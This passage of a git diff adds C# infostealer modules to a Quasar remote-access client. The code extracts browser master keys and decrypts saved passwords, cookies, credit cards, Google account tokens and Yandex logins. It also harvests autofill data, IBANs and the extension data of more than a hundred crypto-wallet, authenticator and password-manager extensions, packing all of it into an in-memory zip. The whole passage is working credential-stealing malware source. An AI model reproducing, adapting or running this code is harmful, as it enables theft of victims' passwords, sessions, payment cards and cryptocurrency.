SqLite(bytes); + sqLite.ReadTable("downloads"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string url = sqLite.GetValue(i, 2); + if (!string.IsNullOrEmpty(url)) + { + sb.AppendLine(url); + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/Download/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void FingerPrint(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State"); + if (File.Exists(localStatePath)) + { + string content = File.ReadAllText(localStatePath); + Match match = Regex.Match(content, "\"profile\"\\s*:\\s*\\{[^}]*\"name\"\\s*:\\s*\"([^\"]+)\"[^}]*\\}", RegexOptions.IgnoreCase); + if (match.Success) + { + string profileName = match.Groups[1].Value; + StringBuilder json = new StringBuilder(); + json.AppendLine("{"); + json.AppendLine(" \"browser\": {"); + json.AppendLine(" \"name\": \"" + browsername + "\","); + json.AppendLine(" \"version\": \"128.0.0.0\""); + json.AppendLine(" },"); + json.AppendLine(" \"profile\": \"" + profileName + "\""); + json.AppendLine("}"); + zip.AddTextFile("Browser/FingerPrint/" + browsername + "_" + profilename + ".json", json.ToString()); + } + } + } + catch + { + } + } + + private void GoogleAccounts(InMemoryZip zip, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + try + { + string tokenPath = Path.Combine(profile, "Web Data"); + if (File.Exists(tokenPath)) + { + byte[] bytes = File.ReadAllBytes(tokenPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("token_service"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string service = sqLite.GetValue(i, 0); + byte[] encryptedToken = Encoding.Default.GetBytes(sqLite.GetValue(i, 1)); + if (encryptedToken != null && encryptedToken.Length > 0 && service.Contains("AccountId")) + { + byte[] decrypted = AesGcm.DecryptBrowser(encryptedToken, masterv10, masterv20, checkprefix: false); + if (decrypted != null) + { + string token = Encoding.UTF8.GetString(decrypted); + sb.AppendLine(token); + } + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/GoogleAccounts/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void MasterKeys(InMemoryZip zip, string browser, string profilename, string browsername) + { + try + { + string localStatePath = browser + "\\Local State"; + if (File.Exists(localStatePath)) + { + byte[] masterv10 = LocalState.MasterKeyV10(localStatePath); + byte[] masterv20 = LocalState.MasterKeyV20(localStatePath); + if (masterv10 != null) + { + zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv10)); + } + else if (masterv20 != null) + { + zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv20)); + } + } + } + catch + { + } + } + + private void SaveBrowserPath(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + zip.AddTextFile("Browser/Path/" + browsername + "_" + profilename + ".txt", profile); + } + catch + { + } + } + + private void UA(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State"); + if (File.Exists(localStatePath)) + { + string content = File.ReadAllText(localStatePath); + Match match = Regex.Match(content, "\"user_agent\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase); + if (match.Success) + { + zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", match.Groups[1].Value); + } + else + { + zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"); + } + } + } + catch + { + } + } + + private void Version(InMemoryZip zip, string browser, string profilename, string browsername) + { + try + { + string versionPath = Path.Combine(Path.GetDirectoryName(browser), "Application", browsername + ".exe"); + if (!File.Exists(versionPath)) + { + versionPath = Path.Combine(Path.GetDirectoryName(browser), browsername + ".exe"); + } + if (!File.Exists(versionPath)) + { + string[] possiblePaths = new string[] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Google", "Chrome", "Application", "chrome.exe"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Google", "Chrome", "Application", "chrome.exe"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "Application", "chrome.exe") + }; + foreach (string path in possiblePaths) + { + if (File.Exists(path)) + { + versionPath = path; + break; + } + } + } + if (File.Exists(versionPath)) + { + System.Diagnostics.FileVersionInfo versionInfo = System.Diagnostics.FileVersionInfo.GetVersionInfo(versionPath); + zip.AddTextFile("Browser/Version/" + browsername + "_" + profilename + ".txt", versionInfo.FileVersion ?? "Unknown"); + } + } + catch + { + } + } + + private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 3); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2)) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item = "URL: " + value + "\nUsername: " + value2 + "\nPassword: " + text + "\n\n"; + lines.Add(item); + ++counterBrowser.Password; + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + string value = sSqLite.GetValue(i, 4); + string value2 = sSqLite.GetValue(i, 1); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 6); + string value5 = sSqLite.GetValue(i, 7); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5)) + { + if (!string.IsNullOrEmpty(value)) + { + string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n"; + lines.Add(item); + } + else + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: true); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item2 = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + text + "\n"; + lines.Add(item2); + ++counterBrowser.Cookies; + } + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 1); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value)) + { + string item = "Name: " + value + "\nValue: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.AutoFill; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void CreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 4)); + string value = sSqLite.GetValue(i, 3); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 1); + if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3)) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item = "Number: " + text + "\nExp: " + value2 + "/" + value + "\nHolder: " + value3 + "\n\n"; + lines.Add(item); + ++counterBrowser.CreditCards; + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void TokenRestore(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 1)); + if (bytes != null) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array) + ":" + value.Replace("AccountId-", "") + "\n"; + lines.Add(text); + ++counterBrowser.RestoreToken; + if (value.Contains("AccountId")) + { + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + "_Restore.txt", RestoreCookies.CRestore(text)); + } + } + } + } + catch + { + } + }); + zip.AddTextFile("RestoreToken\\RestoreToken_[" + browsername + "]" + profilename + ".txt", string.Concat(lines)); + } + + private void YandexPassword(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null) + { + return; + } + byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10); + if (encryptionKey == null || encryptionKey.Length != 32) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 4); + string value5 = sSqLite.GetValue(i, 7); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + if (bytes.Length != 0) + { + byte[] bytes2 = YaAuthenticatedData.Decrypt(encryptionKey, bytes, value, value2, value4, value3, value5); + string item = "URL: " + value + "\nUsername: " + value3 + "\nPassword: " + Encoding.UTF8.GetString(bytes2) + "\n\n"; + lines.Add(item); + ++counterBrowser.Password; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void YandexGetCard(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null) + { + return; + } + byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10); + if (encryptionKey == null || encryptionKey.Length != 32) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 0)); + byte[] bytes2 = Encoding.Default.GetBytes(sSqLite.GetValue(i, 2)); + string value = sSqLite.GetValue(i, 1); + byte[] array = new byte[12]; + Array.Copy(bytes2, 0, array, 0, 12); + int num = bytes2.Length - 12 - 16; + byte[] array2 = new byte[num]; + Array.Copy(bytes2, 12, array2, 0, num); + byte[] array3 = new byte[16]; + Array.Copy(bytes2, bytes2.Length - 16, array3, 0, 16); + string input = Encoding.UTF8.GetString(AesGcm256.Decrypt(encryptionKey, array, bytes, array2, array3)); + Match match = Regex.Match(input, "[\"']?full_card_number[\"']?\\s*:\\s*[\"']?(?[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase); + string text = (match.Success ? match.Groups["v"].Value.Trim() : null); + if (string.IsNullOrEmpty(text)) + { + Match match2 = Regex.Match(input, "[\"']?(?:card_number|number)[\"']?\\s*:\\s*[\"']?(?[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase); + text = (match2.Success ? match2.Groups["v"].Value.Trim() : null); + } + Match match3 = Regex.Match(value, "[\"']?expire_date_month[\"']?\\s*:\\s*[\"']?(?\\d{1,2})[\"']?", RegexOptions.IgnoreCase); + Match match4 = Regex.Match(value, "[\"']?expire_date_year[\"']?\\s*:\\s*[\"']?(?\\d{2,4})[\"']?", RegexOptions.IgnoreCase); + string text2 = (match3.Success ? match3.Groups["m"].Value.PadLeft(2, '0') : null); + string text3 = (match4.Success ? match4.Groups["y"].Value : null); + Match match5 = Regex.Match(value, "[\"']?card_holder[\"']?\\s*:\\s*[\"'](?(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline); + string text4 = (match5.Success ? match5.Groups["v"].Value : null); + if (string.IsNullOrEmpty(text4)) + { + Match match6 = Regex.Match(value, "[\"']?(?:cardholder|holder|name)[\"']?\\s*:\\s*[\"'](?(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline); + text4 = (match6.Success ? match6.Groups["v"].Value : text4); + } + if (!string.IsNullOrEmpty(text4)) + { + text4 = Regex.Unescape(text4); + text4 = Regex.Replace(text4, "\\\\u([0-9A-Fa-f]{4})", (Match m) => ((char)Convert.ToInt32(m.Groups[1].Value, 16)).ToString()); + text4 = text4.Trim(); + if (Regex.IsMatch(text4, "^[A-Za-z0-9\\+/=]{8,}$")) + { + try + { + byte[] bytes3 = Convert.FromBase64String(text4); + string text5 = Encoding.UTF8.GetString(bytes3); + if (!string.IsNullOrWhiteSpace(text5)) + { + text4 = text5.Trim(); + } + } + catch + { + } + } + } + if (string.IsNullOrEmpty(text)) + { + text = "Unknown"; + } + if (string.IsNullOrEmpty(text2)) + { + text2 = "Unknown"; + } + if (string.IsNullOrEmpty(text3)) + { + text3 = "Unknown"; + } + if (string.IsNullOrEmpty(text4)) + { + text4 = "Unknown"; + } + string item = "Number: " + text + "\nExp: " + text2 + "/" + text3 + "\nHolder: " + text4 + "\n\n"; + lines.Add(item); + ++counterBrowser.CreditCards; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void MaskCreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 4); + string value5 = sSqLite.GetValue(i, 5); + string value6 = sSqLite.GetValue(i, 6); + string value7 = sSqLite.GetValue(i, 7); + string value8 = sSqLite.GetValue(i, 12); + string item = "Name On Card: " + value + "\nNetwork: " + value2 + "\nCard Last Number: " + value3 + "\nExp: " + value4 + "/" + value5 + "\nBank Name: " + value6 + "\nNickName: " + value7 + "\nProduct Description: " + value8 + "\n\n"; + lines.Add(item); + ++counterBrowser.MaskCreditCard; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Mask.txt", string.Concat(lines)); + } + + private void MaskedIbans(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string item = "Nickname: " + value3 + "\nPrefix: " + value + "\nSuffix: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.MaskedIban; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Iban.txt", string.Concat(lines)); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoChromium.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoChromium.cs new file mode 100755 index 0000000..5ff035d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoChromium.cs @@ -0,0 +1,155 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +public class CryptoChromium : ITarget +{ + private readonly List ChromeWalletsDirectories = new List + { + new string[2] { "Trust Wallets", "pknlccmneadmjbkollckpblgaaabameg" }, + new string[2] { "MetaWallet", "pfknkoocfefiocadajpngdknmkjgakdg" }, + new string[2] { "Guarda Wallet", "fcglfhcjfpkgdppjbglknafgfffkelnm" }, + new string[2] { "Exodus", "idkppnahnmmggbmfkjhiakkbkdpnmnon" }, + new string[2] { "JaxxxLiberty", "mhonjhhcgphdphdjcdoeodfdliikapmj" }, + new string[2] { "Atomic Wallet", "bhmlbgebokamljgnceonbncdofmmkedg" }, + new string[2] { "Mycelium", "pidhddgciaponoajdngciiemcflpnnbg" }, + new string[2] { "Coinomi", "blbpgcogcoohhngdjafgpoagcilicpjh" }, + new string[2] { "GreenAddress", "gflpckpfdgcagnbdfafmibcmkadnlhpj" }, + new string[2] { "Edge", "doljkehcfhidippihgakcihcmnknlphh" }, + new string[2] { "BRD", "nbokbjkelpmlgflobbohapifnnenbjlh" }, + new string[2] { "Samourai Wallet", "apjdnokplgcjkejimjdfjnhmjlbpgkdi" }, + new string[2] { "Copay", "ieedgmmkpkbiblijbbldefkomatsuahh" }, + new string[2] { "Bread", "jifanbgejlbcmhbbdbnfbfnlmbomjedj" }, + new string[2] { "KeepKey", "dojmlmceifkfgkgeejemfciibjehhdcl" }, + new string[2] { "Trezor", "jpxupxjxheguvfyhfhahqvxvyqthiryh" }, + new string[2] { "Ledger Live", "pfkcfdjnlfjcmkjnhcbfhfkkoflnhjln" }, + new string[2] { "Ledger Wallet", "hbpfjlflhnmkddbjdchbbifhllgmmhnm" }, + new string[2] { "Bitbox", "ocmfilhakdbncmojmlbagpkjfbmeinbd" }, + new string[2] { "Digital Bitbox", "dbhklojmlkgmpihhdooibnmidfpeaing" }, + new string[2] { "YubiKey", "mammpjaaoinfelloncbbpomjcihbkmmc" }, + new string[2] { "Nifty Wallet", "jbdaocneiiinmjbjlgalhcelgbejmnid" }, + new string[2] { "Math Wallet", "afbcbjpbpfadlkmhmclhkeeodmamcflc" }, + new string[2] { "Coinbase Wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, + new string[2] { "Equal Wallet", "blnieiiffboillknjnepogjhkgnoac" }, + new string[2] { "EVER Wallet", "cgeeodpfagjceefieflmdfphplkenlfk" }, + new string[2] { "Jaxx Liberty", "ocefimbphcgjaahbclemolcmkeanoagc" }, + new string[2] { "BitApp Wallet", "fihkakfobkmkjojpchpfgcmhfjnmnfpi" }, + new string[2] { "Mew CX", "nlbmnnijcnlegkjjpcfjclmcfggfefdm" }, + new string[2] { "GU Wallet", "nfinomegcaccbhchhgflladpfbajihdf" }, + new string[2] { "Guild Wallet", "nanjmdkhkinifnkgdeggcnhdaammmj" }, + new string[2] { "Saturn Wallet", "nkddgncdjgifcddamgcmfnlhccnimig" }, + new string[2] { "Harmony Wallet", "fnnegphlobjdpkhecapkijjdkgcjhkib" }, + new string[2] { "TON Wallet", "nphplpgoakhhjchkkhmiggakijnkhfnd" }, + new string[2] { "OpenMask Wallet", "penjlddjkjgpnkllboccdgccekpkcbin" }, + new string[2] { "MyTonWallet", "fldfpgipfncgndfolcbkdeeknbbbnhcc" }, + new string[2] { "DeWallet", "pnccjgokhbnggghddhahcnaopgeipafg" }, + new string[2] { "TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph" }, + new string[2] { "NC Wallet", "imlcamfeniaidioeflifonfjeeppblda" }, + new string[2] { "Moso Wallet", "ajkifnllfhikkjbjopkhmjoieikeihjb" }, + new string[2] { "Enkrypt Wallet", "kkpllkodjeloidieedojogacfhpaihoh" }, + new string[2] { "CirusWeb3 Wallet", "kgdijkcfiglijhaglibaidbipiejjfdp" }, + new string[2] { "Martian and Sui Wallet", "efbglgofoippbgcjepnhiblaibcnclgk" }, + new string[2] { "SubWallet", "onhogfjeacnfoofkfgppdlbmlmnplgbn" }, + new string[2] { "Pontem Wallet", "phkbamefinggmakgklpkljjmgibohnba" }, + new string[2] { "Talisman Wallet", "fijngjgcjhjmmpcmkeiomlglpeiijkld" }, + new string[2] { "Kardiachain Wallet", "pdadjkfkgcafgbceimcpbkalnfnepbnk" }, + new string[2] { "Phantom Wallet", "bfnaelmomeimhipmgjnjophhpkkoljpa" }, + new string[2] { "Phantom Wallet", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, + new string[2] { "Oxygen Wallet", "fhilaheimglignddjgofkcbgekhenbh" }, + new string[2] { "PaliWallet", "mgfffbidihjpoaomajlbgchddlicgpn" }, + new string[2] { "BoltX Wallet", "aodkkagnadcbobfpggnjeongemjbjca" }, + new string[2] { "Liquality Wallet", "kpopkelmapcoipemfendmdghnegimn" }, + new string[2] { "xDefi Wallet", "hmeobnffcmdkdcmlb1gagmfpfboieaf" }, + new string[2] { "Nami Wallet", "ipfcbjknijpeeillifnkikgncikgfhdo" }, + new string[2] { "MaiarDeFi Wallet", "dngmlblcodfobpdpecaadgfbeggfjfnm" }, + new string[2] { "MetaMask Wallet", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, + new string[2] { "MetaMask Wallet", "djclckkglechooblngghdinmeemkbgci" }, + new string[2] { "MetaMask Wallet", "ejbalbakoplchlghecdalmeeeajnimhm" }, + new string[2] { "Goblin Wallet", "mlbafbjadjidk1bhgopoamemfibcpdfi" }, + new string[2] { "Braavos Smart Wallet", "jnlgamecbpmbajjfhmmmlhejkemejdma" }, + new string[2] { "UniSat Wallet", "ppbibelpcjmhbdihakflkdcoccbgbkpo" }, + new string[2] { "OKX Wallet", "mcohilncbfahbmgdjkbpemcciiolgcge" }, + new string[2] { "Manta Wallet", "enabgbdfcbaehmbigakijjabdpdnimlg" }, + new string[2] { "Suku Wallet", "fopmedgnkfpebgllppeddmmochcookhc" }, + new string[2] { "Suiet Wallet", "khpkpbbcccdmmclmpigdgddabeilkdpd" }, + new string[2] { "Koala Wallet", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid" }, + new string[2] { "ExodusWeb3 Wallet", "aholpfdialjgjfhomihkjbmgjidlcdno" }, + new string[2] { "Aurox Wallet", "kilnpioakcdndlodeeceffgjdpojajlo" }, + new string[2] { "Fewcha Move Wallet", "ebfidpplhabeedpnhjnobghokpiioolj" }, + new string[2] { "Carax Demon Wallet", "mdjmfdffdcmnoblignmgpommbefadffd" }, + new string[2] { "Leap Terra Wallet", "aijcbedoijmgnlmjeegjaglmepbmpkpi" }, + new string[2] { "Keplr Wallet", "dmkamcknogkgcdfhhbddcghachkejeap" }, + new string[2] { "Binance Chain Wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, + new string[2] { "Yoroi Wallet", "ffnbelfdoeiohenkjibnmadjiehjhajb" }, + new string[2] { "Rabby Wallet", "acmacodkjbdgmoleebolmdjonilkdbch" }, + new string[2] { "TokenPocket", "mfgccjchihfkkindfppnaooecgfneiii" }, + new string[2] { "SafePal Extension Wallet", "lgmpcpglpngdoalbgeoldeajfclnhafa" }, + new string[2] { "Magic Eden Wallet", "mkpegjkblkkefacfnmkajcjmabijhclg" }, + new string[2] { "Ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, + new string[2] { "Coin98", "aeachknmefphepccionboohckonoeemg" }, + new string[2] { "TerraStation", "aiifbnbfobpmeekipheeijimdpnlpgpp" }, + new string[2] { "Wombat", "amkmjjmmflddogmhpjloimipbofnfjih" }, + new string[2] { "Nami", "lpfcbjknijpeeillifnkikgncikgfhdo" }, + new string[2] { "XDEFI", "hmeobnfnfcmdkdcmlblgagmfpfboieaf" }, + new string[2] { "Tron", "ibnejdfjmmkpcnlpebklmnkoeoihofec" }, + new string[2] { "Authenticator", "bhghoamapcdpbohphigoooaddinpkbai" }, + new string[2] { "Google Authenticator", "khcodhlfkpmhibicdjjblnkgimdepgnd" }, + new string[2] { "Microsoft Authenticator", "bfbdnbpibgndpjfhonkflpkijfapmomn" }, + new string[2] { "Authy", "gjffdbjndmcafeoehgdldobgjmlepcal" }, + new string[2] { "Duo Mobile", "eidlicjlkaiefdbgmdepmmicpbggmhoj" }, + new string[2] { "OTP Auth", "bobfejfdlhnabgglompioclndjejolch" }, + new string[2] { "FreeOTP", "elokfmmmjbadpgdjmgglocapdckdcpkn" }, + new string[2] { "Aegis Authenticator", "ppdjlkfkedmidmclhakfncpfdmdgmjpm" }, + new string[2] { "LastPass Authenticator", "cfoajccjibkjhbdjnpkbananbejpkkjb" }, + new string[2] { "Dashlane", "flikjlpgnpcjdienoojmgliechmmheek" }, + new string[2] { "Keeper", "gofhklgdnbnpcdigdgkgfobhhghjmmkj" }, + new string[2] { "RoboForm", "hppmchachflomkejbhofobganapojjol" }, + new string[2] { "KeePass", "lbfeahdfdkibininjgejjgpdafeopflb" }, + new string[2] { "KeePassXC", "kgeohlebpjgcfiidfhhdlnnkhefajmca" }, + new string[2] { "Bitwarden", "inljaljiffkdgmlndjkdiepghpolcpki" }, + new string[2] { "NordPass", "njgnlkhcjgmjfnfahdmfkalpjcneebpl" }, + new string[2] { "LastPass", "gabedfkgnbglfbnplfpjddgfnbibkmbb" } + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Chromium, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Task.Run(delegate + { + GetChromeWallets(zip, counter, profile, profilename, browsername); + }); + }); + } + }); + } + + private void GetChromeWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName) + { + string path = Path.Combine(profilePath, "Local Extension Settings"); + if (!Directory.Exists(path)) + { + return; + } + Dictionary extensionDirs = Directory.EnumerateDirectories(path).ToDictionary((string dir) => Path.GetFileName(dir).ToLowerInvariant(), (string dir) => dir); + Parallel.ForEach(ChromeWalletsDirectories, delegate(string[] walletInfo) + { + string key = walletInfo[1]; + if (extensionDirs.TryGetValue(key, out var value)) + { + zip.AddDirectoryFiles(value, "Extension/" + Path.GetFileName(value)); + counter.CryptoChromium.Add(value + " => " + browserName + "_" + profilename + " " + walletInfo[0]); + } + }); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoGecko.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoGecko.cs new file mode 100755 index 0000000..a698efc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoGecko.cs @@ -0,0 +1,62 @@ +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +public class CryptoGecko : ITarget +{ + private readonly List GeckoWalletsDirectories = new List + { + new string[2] { "Metamask Wallet", "7d61b592-e488-4f55-bf12-8d0ae55fd100" }, + new string[2] { "Metamask Wallet", "bb29e575-946e-4e69-b956-f73aec0a9927" }, + new string[2] { "Phantom Wallet", "e212a176-a331-462c-a024-d2f9027f15fc" }, + new string[2] { "Phantom Wallet", "a02b2aab-5dca-4649-93cf-f6a34860fbd5" } + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Gecko, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Task.Run(delegate + { + GetGeckoWallets(zip, counter, profile, profilename, browsername); + }); + }); + } + }); + } + + private void GetGeckoWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName) + { + string extensionsPath = Path.Combine(profilePath, "storage", "default"); + if (!Directory.Exists(extensionsPath)) + { + return; + } + Parallel.ForEach(GeckoWalletsDirectories, delegate(string[] walletInfo) + { + string text = walletInfo[1]; + string[] directories = Directory.GetDirectories(extensionsPath, "moz-extension+++" + text + "*", SearchOption.TopDirectoryOnly); + foreach (string text2 in directories) + { + try + { + string text3 = browserName + "_" + profilename + " " + walletInfo[0]; + zip.AddDirectoryFiles(text2, "Extension/" + Path.GetFileName(text2)); + counter.CryptoChromium.Add(text2 + " => " + text3); + } + catch + { + } + } + }); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Gecko.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Gecko.cs new file mode 100755 index 0000000..6f35260 --- /dev/null +++ 